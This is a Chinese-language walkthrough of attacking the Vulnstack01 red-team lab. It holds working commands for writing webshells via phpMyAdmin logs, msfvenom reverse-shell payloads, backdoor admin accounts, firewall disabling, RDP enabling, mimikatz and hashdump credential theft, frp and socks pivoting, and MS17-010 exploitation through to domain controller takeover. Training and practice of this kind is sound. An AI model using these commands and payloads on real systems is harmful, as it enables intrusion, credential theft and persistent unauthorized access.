ATT&CK红队评估(Vulnstack01)靶场渗透
字数 896 2025-08-24 07:48:33

ATT&CK红队评估(Vulnstack01)靶场渗透教学文档

环境配置

网络架构

  • 使用3台虚拟机模拟内网环境:
    • Win7:Web服务器(双网卡)
      • 网卡1:NAT模式(模拟公网环境,网段192.168.82.x)
      • 网卡2:VMnet1仅主机模式(内网环境,网段192.168.52.x)
    • Win2K3:内网机器(VMnet1)
    • Win2008:内网机器(VMnet1)

网络隔离

  • Win7防火墙过滤ICMP协议,其他机器无法ping通Win7
  • 攻击机只能直接访问Win7(公网段),无法直接访问内网机器

服务启动

  • 手动启动Win7上的Web服务:
    # 启动Apache
    httpd.exe -k install
    httpd.exe -k -n apache2.4
    
    # 启动MySQL
    mysqld --install
    mysqld --defaults-file="C:/phpStudy/mysql/my.ini" --console --skip-grant-tables
    

外网打点

漏洞1:YXCMS弱口令登录

  1. 通过弱口令登录YXCMS后台
  2. 利用插件模板功能写入Webshell

漏洞2:phpMyAdmin慢查询写马

show variables like '%slow%';
set GLOBAL slow_query_log_file = 'C:/phpStudy/WWW/shell.php';
set GLOBAL slow_query_log = on;
set GLOBAL log_queries_not_using_indexes = on;

内网上线

CS文件马上线

  1. 通过Cobalt Strike生成exe木马
  2. 使用蚁剑上传并执行木马
  3. 成功上线CS

提权操作

systeminfo  # 查看补丁信息
# 利用ms14_058漏洞提权成功

PowerShell上线

  1. 制作PowerShell脚本木马
  2. 执行脚本上线

MSF上线

# 生成各种平台的payload
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell.elf
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell.exe
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f macho > shell.macho
msfvenom -p php/meterpreter_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > shell.php
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f asp > shell.asp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > shell.jsp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f war > shell.war
msfvenom -p cmd/unix/reverse_python LHOST=<IP> LPORT=<PORT> -f raw > shell.py
msfvenom -p cmd/unix/reverse_bash LHOST=<IP> LPORT=<PORT> -f raw > shell.sh
msfvenom -p cmd/unix/reverse_perl LHOST=<IP> LPORT=<PORT> -f raw > shell.pl

反向Shell设置

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.254.129 LPORT=7777 -f exe -o shell.exe

# MSF监听设置
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.53.131
set lport 8885
run

权限提升

Meterpreter提权

getuid  # 查看当前用户
getsystem  # 提权至SYSTEM

开启远程桌面

run post/windows/manage/enable_rdp

信息搜集

基础信息搜集

chcp 65001  # 解决乱码问题
ashelp  # 查看本地命令
net user  # 查看本地账户
whoami  # 当前用户权限
ipconfig -all  # Windows IP配置
systeminfo  # 系统信息
tasklist  # 查询进程及服务
netstat -an  # 查看端口状态
net view  # 查看网络共享
net view /domain  # 查看当前登录域与用户信息

用户管理

# 添加用户
net user srn7 P@ssword /add
net localgroup administrators srn7 /add

开启远程桌面服务

# 方法1:使用WMIC
wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1
wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName='RDP-Tcp') call setuserauthenticationrequired 1

# 方法2:修改注册表
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp" /v PortNumber /t REG_DWORD /d 3389 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 3389 /f
net start termservice

# 检查远程桌面服务状态
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections

防火墙管理

# 关闭防火墙
netsh advfirewall set allprofiles state off  # Windows Server 2003之后
netsh firewall set opmode disable  # Windows Server 2003之前

# 放行3389端口
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

域信息搜集

net group /domain  # 查看域内所有用户列表
net group "domain computers" /domain  # 查看域成员计算机列表
net group "domain admins" /domain  # 查看域管理员用户
net time /domain  # 判断主域
nslookup god.org  # 解析域名服务器
net user /domain  # 当前域的所有用户
route print  # 路由信息

密码获取

# 使用mimikatz获取用户名密码
# 使用MSF获取密码
run windows/gather/credentials/windows_autologin  # 获取自动登录密码
run post/windows/gather/smart_hashdump  # 查询hashdump

内网穿透与代理

Frp内网穿透

# 服务端运行
nohup ./frps -c frps.ini >/dev/null 2>&1 &

# 客户端运行
nohup ./frpc -c frpc.ini >/dev/null 2>&1 &

# 查找并结束frp进程
ps -aux|grep frp| grep -v grep
kill -9 [进程号]

MSF路由转发

# 新建路由
run post/multi/manage/autoroute

# 查看路由信息
run autoroute -p

# 添加指定路由
route add 192.168.10.0 255.255.255.0 1  # 1是session编号

# 查看路由表
route

Socks代理设置

use auxiliary/server/socks_proxy
set VERSION 5
set SRVHOST 127.0.0.1  # 或0.0.0.0
run

攻击机代理配置

vim /etc/proxychains4.conf
proxychains4 [命令]

内网漫游

主机发现

# ARP探测
use post/windows/gather/arp_scanner
set RHOSTS 192.168.52.0/24
set SESSION 1
run

# UDP探测
use auxiliary/scanner/discovery/udp_sweep
set RHOSTS 192.168.52.0/24
run

Nmap扫描

proxychains nmap -sS -sV -Pn 192.168.52.141

Fscan扫描结果示例

192.168.52.141:139 open
192.168.52.143:3306 open
192.168.52.141:135 open
192.168.52.1:445 open
192.168.52.1:139 open
192.168.52.1:135 open
192.168.52.138:445 open
192.168.52.143:445 open
192.168.52.138:139 open
192.168.52.138:135 open
192.168.52.143:139 open
192.168.52.138:88 open
192.168.52.143:135 open
192.168.52.138:80 open
192.168.52.141:21 open
192.168.52.143:80 open
192.168.52.141:445 open
192.168.52.141:7001 open
192.168.52.141:8099 open
192.168.52.141:8098 open
192.168.52.141:7002 open
[+] 192.168.52.143 MS17-010 (Windows 7 Professional 7601 Service Pack 1)
[+] 192.168.52.138 MS17-010 (Windows Server 2008 R2 Datacenter 7601 Service Pack 1)
[*] DC owa.god.org Windows Server 2008 R2 Datacenter 7601 Service Pack 1
[+] 192.168.52.141 MS17-010 (Windows Server 2003 3790)
[*] WebTitle: http://192.168.52.141:7002 code:200 len:2632 title:Sentinel Keys License Monitor
[*] WebTitle: http://192.168.52.143 code:200 len:14749 title:phpStudy 探针 2014
[+] ftp://192.168.52.141:21:anonymous
[*] WebTitle: http://192.168.52.138 code:200 len:689 title:IIS7

横向渗透

FTP弱口令连接(141机器)

proxychains ftp
ftp> open 192.168.52.141 21
Name (192.168.52.141:root): anonymous
Password:
ftp> help

MS17-010永恒之蓝利用(141机器)

use auxiliary/admin/smb/ms17_010_command
set COMMAND net user
set RHOST 192.168.52.141
exploit

# 添加用户
set COMMAND net user hack qaz@123
exploit

正向连接尝试(未成功)

use exploit/windows/smb/ms17_010_psexec
set rhosts 192.168.52.141
set payload
set lhost 192.168.82.3
set lport 7777
set SMBuser srn7
set SMBpass P@ssword
exploit

开启3389端口

use auxiliary/admin/smb/ms17_010_command
set rhosts 192.168.52.141
set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'
run

Telnet服务利用(141机器)

# 开启23端口并打开telnet服务
set COMMAND sc config tlntsvr start=auto
set COMMAND net start telnet

# Telnet登录
use auxiliary/scanner/telnet/telnet_login
set RHOSTS 192.168.52.141
set username hack
set PASSWORD qaz@123
exploit

# 直接连接
telnet 192.168.52.141

CS横向渗透(138机器)

  1. 通过mimikatz抓取明文密码
  2. 使用psexec进行内网横向渗透
  3. 通过143机器与138机器的445端口进行SMB通讯
  4. 成功控制138机器(OWA)并拿下域控

参考文章

  • https://blog.csdn.net/qq_40638006/article/details/122033546
  • https://www.freebuf.com/articles/web/324441.html
ATT&CK红队评估(Vulnstack01)靶场渗透教学文档 环境配置 网络架构 使用3台虚拟机模拟内网环境: Win7 :Web服务器(双网卡) 网卡1:NAT模式(模拟公网环境,网段192.168.82.x) 网卡2:VMnet1仅主机模式(内网环境,网段192.168.52.x) Win2K3 :内网机器(VMnet1) Win2008 :内网机器(VMnet1) 网络隔离 Win7防火墙过滤ICMP协议,其他机器无法ping通Win7 攻击机只能直接访问Win7(公网段),无法直接访问内网机器 服务启动 手动启动Win7上的Web服务: 外网打点 漏洞1:YXCMS弱口令登录 通过弱口令登录YXCMS后台 利用插件模板功能写入Webshell 漏洞2:phpMyAdmin慢查询写马 内网上线 CS文件马上线 通过Cobalt Strike生成exe木马 使用蚁剑上传并执行木马 成功上线CS 提权操作 PowerShell上线 制作PowerShell脚本木马 执行脚本上线 MSF上线 反向Shell设置 权限提升 Meterpreter提权 开启远程桌面 信息搜集 基础信息搜集 用户管理 开启远程桌面服务 防火墙管理 域信息搜集 密码获取 内网穿透与代理 Frp内网穿透 MSF路由转发 Socks代理设置 攻击机代理配置 内网漫游 主机发现 Nmap扫描 Fscan扫描结果示例 横向渗透 FTP弱口令连接(141机器) MS17-010永恒之蓝利用(141机器) 正向连接尝试(未成功) 开启3389端口 Telnet服务利用(141机器) CS横向渗透(138机器) 通过mimikatz抓取明文密码 使用psexec进行内网横向渗透 通过143机器与138机器的445端口进行SMB通讯 成功控制138机器(OWA)并拿下域控 参考文章 https://blog.csdn.net/qq_ 40638006/article/details/122033546 https://www.freebuf.com/articles/web/324441.html